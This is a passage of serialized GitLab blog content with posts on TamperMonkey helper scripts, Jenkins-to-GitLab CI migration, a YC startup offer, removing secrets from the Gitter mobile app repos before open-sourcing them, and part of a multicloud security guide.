unfortunately. So I came up with a different solution.\n\nThere is a handy browser plugin that allows you to script around any webpage. It's called [TamperMonkey](https://www.tampermonkey.net/). I have created some *VeryQuickActions* using this plugin. \nDo you have a similar `Quick action` line in your GitLab input areas?\n\n![Quick Actions addon](https://about.gitlab.com/images/blogimages/gitlab-daily-tools/tm-quickactions.png){: .shadow.medium}\n\nYou can get those nice links at the bottom of the filed by [adding its script](https://gitlab.com/gitlab-com/www-gitlab-com/-/snippets/1999778) to TamperMonkey.\n\nCustomizing these quick actions is quite easy and does not require advance programming skills.\nknowledge. You can open the above script (TamperMonkey) has a built-in editor for this.\n\nIf you would like to change the content of these quick links, you can use `TamperMonkey`'s built-in editor. Just look for the following lines:\n\n```js\n    const actions = [\n        ['/assign me', 'Mine'],\n        ['/label ~\"group::system\"', 'System label'],\n        ['/label ~\"workflow::problem validation\"', 'Problem label'],\n        ['/label ~\"workflow::solution validation\"', 'Solution label'],\n        ['/label ~\"workflow::validation backlog\"', 'Backlog label'],\n    ]\n```\n\nThese lines define the links that will be created. The first item in the lists show what will be included in the description or comment text on GitLab. The second item defines the text on the link.\nYou can use these as a guideline to create your own.\n\n*Note:* there is still a missing feature I would like to add to this script: I would like to make it easy to assign an issue\nto the previously viewed epic.\n\n## Filtering to-do's and checkboxes\n\nWhile I was on-boarding as a new GitLab team member, I ran a few scripts in the developer console to hide already checked checkboxes in a list and to dim the lines that did not contain my name. Since then, I have found myself needing similar functionality from time to time.\n\n![Filter checkboxes](https://about.gitlab.com/images/blogimages/gitlab-daily-tools/tm-filter.png){: .shadow.medium}\n\nOn the above image. Which checkboxes are relevant to me?\n\nAgain, [the solution is a TamperMonkey script](https://gitlab.com/gitlab-com/www-gitlab-com/-/snippets/1999779). This script adds a small filter button\nbeside the GitLab search box. Filtering issues leaves (or excludes) only those checkboxes on the page that contain your search term.\nIf you want to exclude the search term, start your filter with an exclamation mark `!`.\n\n![Filter checkboxes](https://about.gitlab.com/images/blogimages/gitlab-daily-tools/tm-filter2.png){: .shadow.medium}\n\n## What are your tips and tricks\n\nWe would love to hear your tips and tricks for using GitLab. Feel free to leave them in a comment below.",[676,1444],{"slug":26179,"featured":6,"template":678},"gitlab-daily-tools","content:en-us:blog:gitlab-daily-tools.yml","Gitlab Daily Tools","en-us/blog/gitlab-daily-tools.yml","en-us/blog/gitlab-daily-tools",{"_path":26185,"_dir":5,"_draft":6,"_partial":6,"_locale":7,"seo":26186,"content":26191,"config":26195,"_id":26197,"_type":16,"title":26198,"_source":17,"_file":26199,"_stem":26200,"_extension":20},"/en-us/blog/migrating-from-jenkins",{"title":26187,"description":26188,"ogTitle":26187,"ogDescription":26188,"noIndex":6,"ogImage":13433,"ogUrl":26189,"ogSiteName":1180,"ogType":1181,"canonicalUrls":26189,"schema":26190},"Migrating from Jenkins","Best practices for making the switch to GitLab CI/CD.","https://about.gitlab.com/blog/migrating-from-jenkins","\n                        {\n        \"@context\": \"https://schema.org\",\n        \"@type\": \"Article\",\n        \"headline\": \"Migrating from Jenkins\",\n        \"author\": [{\"@type\":\"Person\",\"name\":\"Chrissie Buchanan\"}],\n        \"datePublished\": \"2019-11-26\",\n      }",{"title":26187,"description":26188,"authors":26192,"heroImage":13433,"date":26158,"body":26193,"category":8943,"tags":26194},[18462],"\nMigrations feel daunting, which is one of the reasons teams put them off as long as possible. Even when tools are brittle or not working as they should, it’s the fear of the unknown that keeps us from making the plunge. Teams might have found workarounds to solve common problems but those only work... until they don’t work. If you know that you need to make a tool change or migration, it’s much better to do it early rather than during a crisis.\n\nMigrations don’t have to be scary. If you’re tired of brittle builds and endless plugin maintenance, migrating your CI/CD doesn’t have to be a headache. Several teams have [made the switch from Jenkins CI to GitLab CI/CD](/blog/5-teams-that-made-the-switch-to-gitlab-ci-cd/), and there are resources available to ease the transition.\n\n## From Jenkins to GitLab using Docker\n\nThe team at [Linagora](/blog/docker-my-precious/) loved that GitLab includes Git repository management, issue tracking, [code review](/stages-devops-lifecycle/create/), an IDE, activity streams, wikis, and built-in CI/CD to test, build, and deploy code. In order to take advantage of these all-in-one features, they needed to find a way to switch over from Jenkins CI. Luckily, GitLab’s Docker support and [documentation](https://docs.gitlab.com/ee/ci/docker/using_docker_images.html) allowed them to utilize custom Docker images, spin up services as part of testing, build new Docker images, and run on Kubernetes.\n\n### Running Jenkinsfiles in GitLab CI/CD\n\nOne short-term solution teams can use when migrating from Jenkins to GitLab CI/CD is [using Docker to run a Jenkinsfile in GitLab CI/CD](https://lackastack.gitlab.io/website/posts/gitlabci-jenkinsfile/) while the syntax is being updated. While this doesn’t address the endless [plugin dependencies](/blog/plugin-instability/), it’s a stop-gap measure that can get your team working in GitLab until the migration is complete.\n\n## Using Auto DevOps\n\n[Auto DevOps](https://docs.gitlab.com/ee/topics/autodevops/index.html) can potentially be used to build, test, and deploy your applications with little to no configuration needed at all. One of the more time-consuming tasks during a Jenkins migration can be converting the pipelines from Groovy to YAML, but Auto DevOps provides predefined CI/CD configurations – just push your code and Auto DevOps can build a default pipeline. Auto DevOps offers more features including security testing, performance testing, and code quality testing. If you need [advanced customizations](https://docs.gitlab.com/ee/topics/autodevops/index.html#customizing), you can modify the templates without having to start over on a completely different platform.\n\nGitLab senior solutions manager [Brendan O’Leary](/company/team/#brendan) provided a brief overview of how to convert a Jenkins pipeline built with Maven into a GitLab CI/CD pipeline using Auto DevOps.\n\n\u003C!-- blank line -->\n\u003Cfigure class=\"video_container\">\n  \u003Ciframe src=\"https://www.youtube-nocookie.com/embed/RlEVGOpYF5Y\" frameborder=\"0\" allowfullscreen=\"true\"> \u003C/iframe>\n\u003C/figure>\n\u003C!-- blank line -->\n\n## Advice from teams that made the switch\n\nAt our [GitLab Commit](/events/commit/) event in London, the team at adSoul, a Germany-based marketing automation company, discussed [their own transition from Jenkins to GitLab](/blog/adsoul-devops-transition-to-gitlab-ci/). They offered insight into their migration process, but for others considering GitLab CI/CD, here are some best practices:\n\n### Start small\n\nIn the spirit of iteration, it’s better to make incremental changes than try to tackle everything all at once. Even if it’s just small projects, or just running a Jenkinsfile in the meantime, be patient and aim for steady progress\n\n### Utilize tools effectively\n\nWith Docker and Auto DevOps, you have the tools available to ease the transition so you’re not reinventing the wheel.\n\n### Communicate clearly\n\nKeep teams informed of the process and communicate any changes. This can also apply to the naming of your new pipelines. Aim for clear job names, style your config for a better overview, and write comments for variables and hard-to-understand code.\n\nFor more information, check out our [migrating from Jenkins documentation](https://docs.gitlab.com/ee/ci/migration/jenkins.html).\n\nCover image by [Aryan Singh](https://unsplash.com/@wuzclicks?utm_source=unsplash&utm_medium=referral&utm_content=creditCopyText) on [Unsplash](https://unsplash.com/@wuzclicks?utm_source=unsplash&utm_medium=referral&utm_content=creditCopyText).\n{: .note}\n",[110,4103],{"slug":26196,"featured":6,"template":678},"migrating-from-jenkins","content:en-us:blog:migrating-from-jenkins.yml","Migrating From Jenkins","en-us/blog/migrating-from-jenkins.yml","en-us/blog/migrating-from-jenkins",{"_path":26202,"_dir":5,"_draft":6,"_partial":6,"_locale":7,"seo":26203,"content":26209,"config":26215,"_id":26217,"_type":16,"title":26218,"_source":17,"_file":26219,"_stem":26220,"_extension":20},"/en-us/blog/the-single-application-to-accelerate-your-startup",{"title":26204,"description":26205,"ogTitle":26204,"ogDescription":26205,"noIndex":6,"ogImage":26206,"ogUrl":26207,"ogSiteName":1180,"ogType":1181,"canonicalUrls":26207,"schema":26208},"The single application to accelerate your startup","GitLab Ultimate and Gold now free for select YC Startups.","https://res.cloudinary.com/about-gitlab-com/image/upload/v1749679046/Blog/Hero%20Images/startup.jpg","https://about.gitlab.com/blog/the-single-application-to-accelerate-your-startup","\n                        {\n        \"@context\": \"https://schema.org\",\n        \"@type\": \"Article\",\n        \"headline\": \"The single application to accelerate your startup\",\n        \"author\": [{\"@type\":\"Person\",\"name\":\"Borivoje Tasovac\"}],\n        \"datePublished\": \"2019-11-25\",\n      }",{"title":26204,"description":26205,"authors":26210,"heroImage":26206,"date":26212,"body":26213,"category":299,"tags":26214},[26211],"Borivoje Tasovac","2019-11-25","\nGitLab started as an idea that was [accepted by the HackerNews community](https://news.ycombinator.com/item?id=4428278), joined the [Y Combinator family](/blog/gitlab-is-part-of-the-y-combinator-family/), and recently was valued at $2.75 billion during the [Series E funding round](/blog/gitlab-series-e-funding/).\n\n## Giving back to the startup community\n\nWe've been supporting [Open Source projects](/solutions/open-source/join/) and [education](/solutions/education/) with our top tiers at no cost for more than a year, but in addition to that, we decided to extend this offer and also grant free access to YC companies. We understand that startups face many obstacles trying to bring value to their customers while also trying to find their place among competitors.\n\nHiring suitable candidates, making partnership decisions and trying to manage your finances can all be overwhelming, especially at an early stage of a startup. We believe that startups should set a good foundation as soon as possible and that adopting a single application for the entire DevSecOps lifecycle will allow them to focus on their customers instead of the tooling. If done right, it could also help them [avoid complex toolchains](/topics/devops/reduce-devops-costs/), [reduce cycle time](/blog/strategies-to-reduce-cycle-times/) and [secure their apps](/solutions/security-compliance/).\n\nEligible startups can choose between our [top tiers](https://about.gitlab.com/pricing/) (self-managed Ultimate or cloud-hosted Gold) free of charge. Both of them support [every stage of the DevOps lifecycle](https://about.gitlab.com/stages-devops-lifecycle/) and enable them to ship their products to the market faster.\n\n## Who can qualify?\n\nWe realize that many growing companies would benefit from this offer, but we decided to narrow the initial launch to YC companies that are members of the current or two most recent [YCombinator batches](https://www.ycombinator.com/companies) and that raised less than $3M in funding.\n\nWe might also assess other portfolios in subsequent iterations.\n\n## The offer and the application process\n\nWe are offering our most comprehensive offerings for a year for free, with optional support at a discounted rate (95% off, $4.95 per user per month).\n\nQualifying startups can submit the application form on our [Startups page](/solutions/startups/). For additional questions regarding this offer, please see our FAQ section or feel free to reach us at [startups@gitlab.com](mailto:startups@gitlab.com).\n\nCover image by [Marvin Meyer](https://unsplash.com/photos/SYTO3xs06fU) on [Unsplash](https://www.unsplash.com)\n{: .note}\n",[267,736,10921],{"slug":26216,"featured":6,"template":678},"the-single-application-to-accelerate-your-startup","content:en-us:blog:the-single-application-to-accelerate-your-startup.yml","The Single Application To Accelerate Your Startup","en-us/blog/the-single-application-to-accelerate-your-startup.yml","en-us/blog/the-single-application-to-accelerate-your-startup",{"_path":26222,"_dir":5,"_draft":6,"_partial":6,"_locale":7,"seo":26223,"content":26228,"config":26234,"_id":26236,"_type":16,"title":26237,"_source":17,"_file":26238,"_stem":26239,"_extension":20},"/en-us/blog/open-sourcing-the-gitter-mobile-apps",{"title":26224,"description":26225,"ogTitle":26224,"ogDescription":26225,"noIndex":6,"ogImage":19593,"ogUrl":26226,"ogSiteName":1180,"ogType":1181,"canonicalUrls":26226,"schema":26227},"Open-sourcing the Gitter mobile apps","Learn how we open sourced the Android and iOS Gitter apps.","https://about.gitlab.com/blog/open-sourcing-the-gitter-mobile-apps","\n                        {\n        \"@context\": \"https://schema.org\",\n        \"@type\": \"Article\",\n        \"headline\": \"Open-sourcing the Gitter mobile apps\",\n        \"author\": [{\"@type\":\"Person\",\"name\":\"Eric Eastwood\"}],\n        \"datePublished\": \"2019-11-22\",\n      }",{"title":26224,"description":26225,"authors":26229,"heroImage":19593,"date":26231,"body":26232,"category":734,"tags":26233},[26230],"Eric Eastwood","2019-11-22","\nBefore we acquired Gitter most every part of Gitter was private/closed-source. The main [webapp](https://gitlab.com/gitlab-org/gitter/webapp) was open-sourced in June 2017 and got both mobile [Android](https://gitlab.com/gitlab-org/gitter/gitter-android-app)/[iOS](https://gitlab.com/gitlab-org/gitter/gitter-ios-app) apps open sourced in September 2018. If you would like to come help out, feel free to send us a merge request! This blog post will go over some the technical details of making the projects available for anyone to contribute.\n\nHere is the basic overview:\n\n1.  Find secrets in the current state of the project (don't worry about the commit history) and move to some config that isn't tracked in the repo.\n1.  Find/remove secrets throughout the whole repo commit history.\n1.  Make the project public 🎉\n1.  Caveats:\n    - Because we are rewriting the git history, I don't know of a way to keep merge requests/pull requests because the MRs reference the old commit hashes.\n\nQuick navigation:\n\n- [Jump to open sourcing Android](#android)\n- [Jump to open sourcing iOS](#ios)\n\n## Android\n\nIf you want to check out the full project and final result, you can check out the [project on GitLab](https://gitlab.com/gitlab-org/gitter/gitter-android-app) ([open-sourced 2018-8-8](https://twitter.com/gitchat/status/1027293167471812611)).\n\nTo start out, we used the [GitHub to GitLab project import](https://docs.gitlab.com/ee/user/project/import/github.html) to move the private GitHub project over to GitLab. We named it `gitter-android-app2` so that later on we could create the actual clean public project without any of the orphaned git references that may potentially leak.\n\n### Finding secrets\n\n[`truffleHog`](https://github.com/dxa4481/truffleHog) will search for high entropy strings (like tokens/passwords) through the entire git repo history. It's also useful to find all the potential areas where secrets may still exist in the current state of the project. Some sticky points we encountered while using include:\n\n- \"I wish we could just search the current state of the project instead of all git history (the `--max_depth=2` argument will just make it search the diff of the latest commit)\" [dxa4481/truffleHog#92](https://github.com/dxa4481/truffleHog/issues/92).\n- \"The output will show the entire diff for the triggered commit which is a bit burdensome to see exactly what is wrong. The JSON output `--json` is sometimes easier to understand\" [https://github.com/dxa4481/truffleHog/issues/58](https://github.com/dxa4481/truffleHog/issues/58) or [dxa4481/truffleHog#102](https://github.com/dxa4481/truffleHog/issues/102).\n\n### Moving secrets to untracked config\n\nOnce we figure out where all of the secrets are we need a config/variable solution that isn't tracked by git but still lets them be available when building. We also wanted the solution to work in GitLab CI for some sanity builds/testing. There are lots of good articles on this topic:\n\n- [Remove private signing information from your project](https://developer.android.com/studio/build/gradle-tips#remove-private-signing-information-from-your-project)\n- [Keeping Your Android Project’s Secrets Secret](https://medium.com/@geocohn/keeping-your-android-projects-secrets-secret-393b8855765d)\n- [Hiding Secrets in Android Apps](https://rammic.github.io/2015/07/28/hiding-secrets-in-android-apps/)\n- [Keeping secrets in an Android Application](https://joshmcarthur.com/2014/02/16/keeping-secrets-in-an-android-application.html)\n- [Android: Loading API Keys and other secrets from properties file using gradle](https://gist.github.com/curioustechizen/9f7d745f9f5f51355bd6)\n- [How can I keep API keys out of source control?](https://arstechnica.com/information-technology/2013/12/how-can-i-keep-api-keys-out-of-source-control/)\n\nOur solution is completely based on the information in these articles. We chose to go the route of defining things in a `secrets.properties` file which can easily be read in the Gradle build script which handles the build even when using Android Studio. If the `secrets.properties` file doesn't exist (like in CI), it will try to read the secrets from [environment variables which can easily be supplied in the project settings](https://docs.gitlab.com/ee/ci/variables/).\n\n`secerts.properties`\n\n```properties\n# Visit https://developer.gitter.im/apps (sign in) and create a new app\n# Name: my-gitter-android-app (can be anything)\n# Redirect URL: https://gitter.im/login/oauth/callback\noauth_client_id=\"...\"\noauth_client_secret=\"...\"\noauth_redirect_uri=\"https://gitter.im/login/oauth/callback\"\n```\n\n`build.gradle`\n\n```gradle\napply plugin: 'com.android.application'\n\n// Try reading secrets from file\ndef secretsPropertiesFile = rootProject.file(\"secrets.properties\")\ndef secretProperties = new Properties()\nif (secretsPropertiesFile.exists()) {\n    secretProperties.load(new FileInputStream(secretsPropertiesFile))\n}\n// Otherwise read from environment variables, this happens in CI\nelse {\n    secretProperties.setProperty(\"oauth_client_id\", \"\\\"${System.getenv('oauth_client_id')}\\\"\")\n    secretProperties.setProperty(\"oauth_client_secret\", \"\\\"${System.getenv('oauth_client_secret')}\\\"\")\n    secretProperties.setProperty(\"oauth_redirect_uri\", \"\\\"${System.getenv('oauth_redirect_uri')}\\\"\")\n}\n\nandroid {\n    ...\n\n    defaultConfig {\n        ...\n\n        buildConfigField(\"String\", \"oauth_client_id\", \"${secretProperties['oauth_client_id']}\")\n        buildConfigField(\"String\", \"oauth_client_secret\", \"${secretProperties['oauth_client_secret']}\")\n        buildConfigField(\"String\", \"oauth_redirect_uri\", \"${secretProperties['oauth_redirect_uri']}\")\n    }\n    ...\n}\n```\n\nUse the config variables in the Java app:\n\n```java\nimport im.gitter.gitter.BuildConfig;\n\nBuildConfig.oauth_client_id;\nBuildConfig.oauth_client_secret;\nBuildConfig.oauth_redirect_uri;\n```\n\n#### Removing compiled assets\n\nWe use a `WebView` to display the HTML markdown messages in the chat room. This view uses assets built from the main [`webapp` project](https://gitlab.com/gitlab-org/gitter/webapp). Because these assets had some inlined production [`webapp`](https://gitlab.com/gitlab-org/gitter/webapp) secrets that whole directory needed to be removed.\n\nInitially, we opted to have the developer build these assets with their own secrets and symlink the build output directory. The [community made this even simpler](https://gitlab.com/gitlab-org/gitter/gitter-android-app/merge_requests/113), so now there is just a Gradle task to run which fetches the latest build we have available from the `webapp` GitLab CI.\n\n### Removing secrets from the repo history\n\nFrom your `truffleHog` results earlier, you should know where secrets were stored throughout the history. We can use [BFG Repo-Cleaner](https://rtyley.github.io/bfg-repo-cleaner/) to remove and rewrite the repo history quickly.\n\nWhen using BFG, I wanted just to rewrite all of the sensitive values in `app/src/main/res/values/settings.xml` instead of completely removing them, but rewriting isn't an option with BFG so I went ahead with deleting it and recreated it in a commit afterwards. 🤷\n\nFor the Android app, here are the BFG commands I used,\n\n- Remove `app/src/main/assets/www/`\n  - `java -jar \"bfg.jar\" --delete-folders www`\n- Remove `app/src/main/res/values/settings.xml`\n  - `java -jar \"bfg.jar\" --delete-files settings.xml`\n- Remove sensitive strings where we can't just remove the whole file (collected from `truffleHog` results)\n  - `java -jar \"bfg.jar\" --replace-text \"gitter-android-bad-words.txt\"`\n\nAfter you think you removed all the secrets, it's best to run `truffleHog` again just to make sure no secrets are leftover. 😉\n\n### Make it public\n\nNow it's time to update your `readme` with some setup instruction so the community knows how to contribute.\n\nThis is the scary part 😅. Go to **Project settings** > **General** > **Permissions** > set **Project visibility** as **Public**. You can [read more about project access here](https://docs.gitlab.com/ee/public_access/public_access.html).\n\nCurious about how to setup builds in GitLab CI? [Learn more from this blog post](/blog/setting-up-gitlab-ci-for-android-projects/), which was what we used to set it up for our projects.\n\nYou can even learn how we [automated the release process so we can publish straight to the Google Play Store from GitLab CI via fastlane 🚀](/blog/android-publishing-with-gitlab-and-fastlane/).\n\n## iOS\n\nIf you want to see the full project and final result, you can check out the [project on GitLab](https://gitlab.com/gitlab-org/gitter/gitter-ios-app) ([open-sourced 2018-9-18](https://twitter.com/gitchat/status/1041795909103898625)).\n\nThe same concepts apply from the Android section. We create a separate private project, `gitter-ios-app2`, where we can work and later on, we can create the actual clean public project(`gitter-ios-app`) without any of the orphaned git references that could leak.\n\n### Finding secrets\n\n`truffleHog` didn't work well in the iOS project because there was a bunch of generated XCode files that had file hashes (high entropy strings which truffleHog looks for) – which meant every commit was listed. 🤦‍ Instead of trying to find something to filter the results down or get another tool, I decided just search manually. Here is the list of things we looked for:\n\n- `token`\n- `secret`\n- `key`\n- `cert`\n- `api`\n- `pw`\n- `password`\n\nI used this directory filter when `Ctrl + f` those strings above to avoid finding things outside of the repo itself (copy-paste for Atom editor): `!Common/,!Libraries,!Gitter/www,!Pods/,!xctool`\n\n### Moving secrets to untracked config\n\nThe iOS app uses a few git sub-modules which we also had to check for secrets before making them public. It turned out only one of the sub-modules – [`troupeobjccommon`](https://gitlab.com/gitlab-org/gitter/troupeobjccommon) – had secrets of it's own so I ran through the same secret removal process.\n\nWe had the same OAuth secrets in the main part of the iOS app, but since `troupeobjccommon` was also trying to handle OAuth secret settings, we opted for putting the new logic in `troupeobjccommon` to avoid having to refactor whatever other downstream code that uses the same submodule (like the macOS desktop app).\n\nHere are some articles around handling secrets in an iOS project,\n\n- [Secret variables in Xcode AND your CI for fun and profit 💌](https://medium.com/flawless-app-stories/secret-variables-in-xcode-and-your-ci-for-fun-and-profit-d387a50475d7)\n- [Secrets Management in iOS Applications](https://medium.com/@jules2689/secrets-management-in-ios-applications-52795c254ec1)\n\nSince iOS apps can only be built on macOS and we don't have any macOS GitLab CI runners, our solution doesn't have to be CI compatible. You can track [this issue for shared macOS GitLab CI runners](https://gitlab.com/gitlab-com/gl-infra/infrastructure/issues/5720).\n\n`Gitter/GitterSecrets-Dev.plist`\n\n```xml\n\u003C?xml version=\"1.0\" encoding=\"UTF-8\"?>\n\u003C!DOCTYPE plist PUBLIC \"-//Apple//DTD PLIST 1.0//EN\" \"http://www.apple.com/DTDs/PropertyList-1.0.dtd\">\n\u003Cplist version=\"1.0\">\n\u003Cdict>\n  \u003C!--\n  Visit https://developer.gitter.im/apps (sign in) and create a new app\n  Name: my-gitter-ios-app (can be anything)\n  Redirect URL: https://gitter.im/login/oauth/callback\n  -->\n  \u003Ckey>OAuthClientId\u003C/key>\n  \u003Cstring>\u003C/string>\n  \u003Ckey>OAuthClientSecret\u003C/key>\n  \u003Cstring>\u003C/string>\n  \u003Ckey>OAuthCallback\u003C/key>\n  \u003Cstring>https://gitter.im/login/oauth/callback\u003C/string>\n\u003C/dict>\n\u003C/plist>\n```\n\n[`troupeobjccommon`](https://gitlab.com/gitlab-org/gitter/troupeobjccommon) is in Objective-C\n\n`TRAppSettings.h`\n\n```h\n#import \u003CFoundation/Foundation.h>\n\n@interface TRAppSettings : NSObject\n\n+ (TRAppSettings *) sharedInstance;\n\n- (NSString *) clientID;\n\n- (NSString *) clientSecret;\n\n- (NSString *) oauthScope;\n\n@end\n```\n\n`TRAppSettings.m`\n\n```objc\n@interface TRAppSettings ()\n\n@property (strong, nonatomic) NSUserDefaults *secrets;\n\n@end\n\nstatic TRAppSettings *sharedAppSettingsSingleton;\n\n@implementation TRAppSettings {\n    int firstRunPostUpdate;\n}\n\n+ (void)initialize\n{\n    static BOOL initialized = NO;\n    if(!initialized)\n    {\n        initialized = YES;\n        sharedAppSettingsSingleton = [[TRAppSettings alloc] init];\n    }\n\n    NSLog(@\"Pulling secrets from SECRETS_PLIST = %@.plist\", SECRETS_PLIST);\n}\n\n+ (TRAppSettings *) sharedInstance\n{\n    return sharedAppSettingsSingleton;\n}\n\n- (id)init {\n    NSString *troupeSecretsPath = [[NSBundle mainBundle] pathForResource:\"GitterSecrets-Dev\" ofType:@\"plist\"];\n    if(troupeSecretsPath == nil) {\n        NSString *failureReason = [NSString stringWithFormat:@\"Gitter secrets file not found in bundle: %@.plist. You probably need to add it to the `Gitter/Supporting Files` in Xcode navigator\", SECRETS_PLIST];\n        NSException* exception = [NSException\n            exceptionWithName:@\"FileNotFoundException\"\n            reason:failureReason\n            userInfo:nil];\n\n        NSLog(@\"%@\", failureReason);\n\n        [exception raise];\n    }\n    NSDictionary *troupeSecrets = [NSDictionary dictionaryWithContentsOfFile:troupeSecretsPath];\n\n    self.secrets = [NSUserDefaults standardUserDefaults];\n    [self.secrets registerDefaults:troupeSecrets];\n}\n\n- (NSString *) clientID {\n    return [self.secrets stringForKey:@\"OAuthClientId\"];\n}\n\n- (NSString *) clientSecret {\n    return [self.secrets stringForKey:@\"OAuthClientSecret\"];\n}\n\n- (NSString *)oauthScope {\n    return [self.secrets stringForKey:@\"OAuthCallback\"];\n}\n```\n\nUsage in the Swift app:\n\n```swift\nprivate let appSettings = TRAppSettings.sharedInstance()\n\nappSettings!.clientID()\nappSettings!.clientSecret()\nappSettings!.oauthScope()\n```\n\n### Adding in GitLab CI\n\nIf you're interested in setting up automated builds and publish releases to the Apple App Store from GitLab CI, you can learn how [blog post about using fastlane](/blog/ios-publishing-with-gitlab-and-fastlane/).\n\n### Removing secrets from the repo history\n\nWe didn't have a complete picture of what to remove because `truffleHog` didn't work well, so we didn't use BFG Repo-Cleaner. To remove secrets from the git repo history, we just squashed all of the history into a single commit.\n\n## Life after open sourcing apps\n\nWe have some [thoughts of deprecating the Android/iOS apps](https://gitlab.com/gitlab-org/gitter/webapp/issues/2281) but the community has been great to keep the apps alive so far. We released a couple versions of each app including [dark theme](https://gitlab.com/gitlab-org/gitter/gitter-android-app/merge_requests/2) and [GitLab sign-in](https://gitlab.com/gitlab-org/gitter/gitter-android-app/merge_requests/112) for Android and a bunch of technical debt and fixes for iOS, including removing the deprecated [`SlackTextViewController`](https://gitlab.com/gitlab-org/gitter/gitter-ios-app/merge_requests/8) (and we are intensely working on incorporating the new [`SlackWysiwygInputController`](https://goo.gl/7NDM3x) 😜).\n\nThe [Android](https://gitlab.com/gitlab-org/gitter/gitter-android-app)/[iOS](https://gitlab.com/gitlab-org/gitter/gitter-ios-app) apps could benefit from a lot of polish and fixes, so if you see anything particularly annoying, we would love to review and merge your updates!\n\nCover image by [Nate Johnston](https://unsplash.com/@natejohnston) on [Unsplash](https://unsplash.com/photos/DkCydKeaLV8).\n{: .note}\n",[815,2368,2704,110],{"slug":26235,"featured":6,"template":678},"open-sourcing-the-gitter-mobile-apps","content:en-us:blog:open-sourcing-the-gitter-mobile-apps.yml","Open Sourcing The Gitter Mobile Apps","en-us/blog/open-sourcing-the-gitter-mobile-apps.yml","en-us/blog/open-sourcing-the-gitter-mobile-apps",{"_path":26241,"_dir":5,"_draft":6,"_partial":6,"_locale":7,"seo":26242,"content":26248,"config":26253,"_id":26255,"_type":16,"title":26256,"_source":17,"_file":26257,"_stem":26258,"_extension":20},"/en-us/blog/multi-cloud-security",{"title":26243,"description":26244,"ogTitle":26243,"ogDescription":26244,"noIndex":6,"ogImage":26245,"ogUrl":26246,"ogSiteName":1180,"ogType":1181,"canonicalUrls":26246,"schema":26247},"A brief guide to multicloud security","Five challenges and seven best practices to consider for your multicloud strategy.","https://res.cloudinary.com/about-gitlab-com/image/upload/v1749679136/Blog/Hero%20Images/multi-cloud-security.jpg","https://about.gitlab.com/blog/multi-cloud-security","\n                        {\n        \"@context\": \"https://schema.org\",\n        \"@type\": \"Article\",\n        \"headline\": \"A brief guide to multicloud security\",\n        \"author\": [{\"@type\":\"Person\",\"name\":\"Vanessa Wegner\"}],\n        \"datePublished\": \"2019-11-21\",\n      }",{"title":26243,"description":26244,"authors":26249,"heroImage":26245,"date":26250,"body":26251,"category":8943,"tags":26252},[22656],"2019-11-21","\nMany agree that multicloud is worth the risk.\n\nThe multicloud trend has taken hold in recent years, with [RightScale finding\nthat 84% of enterprises run a multicloud strategy](https://www.flexera.com/blog/cloud/2019/02/cloud-computing-trends-2019-state-of-the-cloud-survey/). With multicloud,\norganizations deploy applications across two or more cloud platforms, like\nAWS, Azure, or Google Cloud.\n\nIncreased flexibility is one of the biggest appeals of a [multicloud strategy](/topics/multicloud/).\nCompanies avoid vendor lock-in by deploying workloads to different cloud platforms\nbased on cost and application needs. Hyperscale cloud vendors have data centers\nacross the globe, so organizations are able to control their cloud expenditures\nby scheduling workloads based on location and local time. Multicloud also\nprotects business operations by reducing down time, and improving resilience in\nthe event of an outage or workload-disruptive breach (like a DDoS attack).\n\nHowever, multicloud still has drawbacks that require careful consideration.\nThe increased complexity of a multicloud environment exponentially increases\nan organization’s attack surface and level of risk. Most of these risks can be\nmitigated with a thorough assessment and strategy addressing security needs –\nand as [a study from IDG and IBM has found](https://www.ciosummits.com/Online_Assets_IBM_Whitepaper_-_Multi-cloud_Organizations_Confront_IT_Security_Challenges.pdf),\n70% of survey respondents agreed that the benefits of multicloud outweigh the risks.\n\nThat being said, there’s a lot to consider. In this blog, we’ll run through\nsome of the top security challenges of multicloud, and dig into the strategies\nto conquer them. If you're short on time, feel free to skip down to the best\npractices section.\n\n### Key security challenges and how to manage them\n\n#### Access and permissioning\n\nMulticloud adds complexity to your identity and access management efforts.\nEmployees need access to multiple cloud services as part of their daily work,\nand will access your data from a multitude of locations and devices. We\nrecommend you take a Zero Trust approach here: Allow access on an as-needed\nbasis, and no more. Data classification levels can help you streamline access\ndeterminations across different clouds, but the key idea is that limited access\nwill both protect your most mission critical and sensitive information, and\nallow you a clear view of when (and by whom) that information is accessed.\n\n#### Staying up to date\n\nWhile this is a security concern for any cloud use, upgrades and patching in\nmulticloud are more challenging because the vulnerabilities and mitigations\nfrom each cloud service provider are different. Multicloud complexity also\nmakes it difficult to keep track of vulnerabilities as applications communicate\nacross multiple clouds. [Mike Bursell from RedHat\ncalls this need “workload freshness”](https://enterprisersproject.com/article/2019/10/multi-cloud-security-issues-watch) – and suggests that this might require you\nto upgrade or patch in place, restart the workload with the latest image, or\ncheck and reload recent dependencies, in order to maintain the most recent\nversions of any dependent libraries, middleware, or executables.\n\n#### A disjointed view of security\n\nMost cloud vendors offer native tools to help you manage security within their\ncloud platform, and most of those tools can’t be applied to other vendors. This\ndisjointed approach to monitoring makes it difficult to gain a thorough\nunderstanding of all the vulnerabilities present in your infrastructure.\n\nInstead of making piecemeal security sense, adopt a multicloud management tool\nthat serves as a single pane of glass into all the happenings across all of your\ncloud platforms. Bursell notes that any monitoring tool needs to be fully aware\nof the scope of your deployment. It’s also important to have regular, if not\nreal-time, updates to your data view so that you’re aware of unusual changes or\nactivities and can address attacks as they come in. A centralized tool is also\nvaluable for conducting forensic analysis of your systems in the event of a\nlate-discovered breach.\n\n#### Control plane complexity\n\nRedHat’s Bursell defines the control plane as any communication which controls\nyour applications or how they are run. In addition to securing communications\nbetween and within applications, all scheduling, monitoring, and routing\ncommunications should also be encrypted. It’s critical to secure the\nadministration, logging, and audit functionality of your applications\n(lest you want to give hackers the opportunity to take down your entire\ninfrastructure). [David Locke of World Wide Technology writes\nthat security functionality and enforcement needs to be uniform within all of\nyour cloud environments](https://www.datacenterdynamics.com/opinions/security-challenges-multicloud-evolution/), allowing those functions to communicate and coordinate\nbetween themselves and support security automation.\n\n#### Application hardening\n\nWhen hardening your infrastructure, Bursell recommends knowing what APIs are\nexposed, understanding what controls you have on them, and planning what\nmitigations you can apply if they come under attack. [Tripwire notes that\nany software that your organization develops or acquires](https://www.tripwire.com/state-of-security/security-data-protection/cloud/multi-cloud-security-best-practices-guide/) from a third party must\nbe patched and security hardened by your organization.\n\n### Best practices\n\nNeed a TL;DR? We’ve got you covered:\n\n**Key security capabilities and strategies:** Multi-factor authentication,\ncloud workload security, security analytics, encryption, identity and access\nmanagement, cloud security gateways, microsegmentation, threat modeling,\nthreat 